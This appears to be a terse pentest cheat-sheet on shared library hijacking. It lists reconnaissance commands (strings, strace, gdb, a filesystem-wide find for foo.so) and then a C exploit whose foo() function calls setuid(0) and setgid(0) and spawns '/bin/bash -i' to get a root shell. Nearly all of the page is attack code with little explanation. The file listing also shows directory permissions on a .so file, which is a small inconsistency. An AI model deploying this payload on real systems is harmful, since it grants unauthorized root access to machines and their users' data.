Shared Library Hijacking
Investigation
strings ./example
strace ./example
gdb ./example
...
foo.so
...find / -type f -name "foo.so" 2>/dev/null
ls -al /path/to/foo.so
drwxrwxrwx 1 user user 64 Dec 15 09:13 foo.soExploitation
#include <stdlib.h>
#include <unistd.h>
void foo() {
setuid(0);
setgid(0);
system("/bin/bash -i");
}Last updated